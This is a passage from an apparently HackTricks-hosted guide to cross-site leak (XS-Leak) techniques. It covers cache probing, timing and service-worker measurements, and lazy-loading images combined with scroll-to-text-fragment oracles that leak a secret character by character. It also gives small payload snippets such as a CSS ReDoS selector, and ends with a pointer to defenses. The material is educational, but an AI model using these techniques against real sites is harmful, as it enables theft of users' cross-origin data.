includes a resource from *.example.com/resource
then that resource will have the same caching key as if the resource was directly requested through top-level navigation. That is because the caching key is consisted of top-level eTLD+1 and frame eTLD+1.
Because accessing the cache is faster than loading a resource, it's possible to try to change the location of a page and cancel it 20ms (for example) after. If the origin was changed after the stop, it means that the resource was cached.
Or could just send some fetch to the pontentially cached page and measure the time it takes.
Manual Redirect
- Inclusion Methods: Fetch API
- Detectable Difference: Redirects
- More info: ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234
- Summary: It's possible to find out if a response to a fetch request is a redirect
- Code Example:
Fetch with AbortController
- Inclusion Methods: Fetch API
- Detectable Difference: Timing
- More info: https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller
- Summary: It's possible to try to load a resource and about before it's loaded the loading is interrupted. Depending on if an error is triggered, the resource was or wasn't cached.
- Code Example: https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller
Use fetch and setTimeout with an AbortController to both detect whether the resource is cached and to evict a specific resource from the browser cache. Moreover, the process occurs without caching new content.
Script Pollution
- Inclusion Methods: HTML Elements (script)
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag
- Summary: built-in functions and read their arguments which even from cross-origin script (which cannot be read directly), this might leak valuable information.
- Code Example: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag
Service Workers
- Inclusion Methods: Pop-ups
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers
- Summary: Measure execution time of a web using service workers.
- Code Example:
In the given scenario, the attacker takes the initiative to register a service worker within one of their domains, specifically "attacker.com". Next, the attacker opens a new window in the target website from the main document and instructs the service worker to commence a timer. As the new window begins to load, the attacker navigates the reference obtained in the previous step to a page managed by the service worker.
Upon arrival of the request initiated in the preceding step, the service worker responds with a 204 (No Content) status code, effectively terminating the navigation process. At this point, the service worker captures a measurement from the timer initiated earlier in step two. This measurement is influenced by the duration of JavaScript causing delays in the navigation process.
{% hint style="warning" %} In an execution timing it's possible to eliminate network factors to obtain more precise measurements. For example, by loading the resources used by the page before loading it. {% endhint %}
Fetch Timing
- Inclusion Methods: Fetch API
- Detectable Difference: Timing (generally due to Page Content, Status Code)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks
- Summary: Use performance.now() to measure the time it takes to perform a request. Other clocks could be used.
- Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks
Cross-Window Timing
- Inclusion Methods: Pop-ups
- Detectable Difference: Timing (generally due to Page Content, Status Code)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks
- Summary: se performance.now() to measure the time it takes to perform a request using
window.open
. Other clocks could be used. - Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
With HTML or Re Injection
Here you can find techniques to exfiltrate information from a cross-origin HTML injecting HTML content. These techniques are interesting in cases where for any reason you can inject HTML but you cannot inject JS code.
Dangling Markup
{% content-ref url="dangling-markup-html-scriptless-injection/" %} dangling-markup-html-scriptless-injection {% endcontent-ref %}
Image Lazy Loading
If you need to exfiltrate content and you can add HTML previous to the secret you should check the common dangling markup techniques.
However, if for whatever reason you MUST do it char by char (maybe the communication is via a cache hit) you can use this trick.
Images in HTML has a "loading" attribute whose value can be "lazy". In that case, the image will be loaded when it's viewed and not while the page is loading:
<img src=/something loading=lazy >
Hence, what you can do is to add a lot of junk chars (For example thousands of "W"s) to fill the web page before the secret or add something like <br><canvas height="1850px"></canvas><br>.
Then if for example our injection appear before the flag, the image would be loaded, but if appears after the flag, the flag + the junk will prevent it from being loaded (you will need to play with how much junk to place). This is what happened in this writeup.
Another option would be to use the scroll-to-text-fragment if allowed:
Scroll-to-text-fragment
However, you make the bot access the page with something like
#:~:text=SECR
So the web page will be something like: https://victim.com/post.html#:~:text=SECR
Where post.html contains the attacker junk chars and lazy load image and then the secret of the bot is added.
What this text will do is to make the bot access any text in the page that contains the text SECR
. As that text is the secret and it's just below the image, the image will only load if the guessed secret is correct. So there you have your oracle to exfiltrate the secret char by char.
Some code example to exploit this: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
Image Lazy Loading Time Based
If it's not possible to load an external image that could indicate the attacker that the image was loaded, another option would be to try to guess the char several times and measure that. If the image is loaded all the requests would take longer that if the image isn't loaded. This is what was used in the solution of this writeup sumarized here:
{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}
ReDoS
{% content-ref url="regular-expression-denial-of-service-redos.md" %} regular-expression-denial-of-service-redos.md {% endcontent-ref %}
CSS ReDoS
If jQuery(location.hash)
is used, it's possible to find out via timing if some HTML content exists, this is because if the selector main[id='site-main']
doesn't match it doesn't need to check the rest of the selectors:
$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")
CSS Injection
{% content-ref url="xs-search/css-injection/" %} css-injection {% endcontent-ref %}
Defenses
There are mitigations recommended in https://xsinator.com/paper.pdf also in each section of the wiki https://xsleaks.dev/. Take a look there for more information about how to protect against these techniques.
References
- https://xsinator.com/paper.pdf
- https://xsleaks.dev/
- https://github.com/xsleaks/xsleaks
- https://xsinator.com/
- https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:
- If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
- Get the official PEASS & HackTricks swag
- Discover The PEASS Family, our collection of exclusive NFTs
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @carlospolopm.
- Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}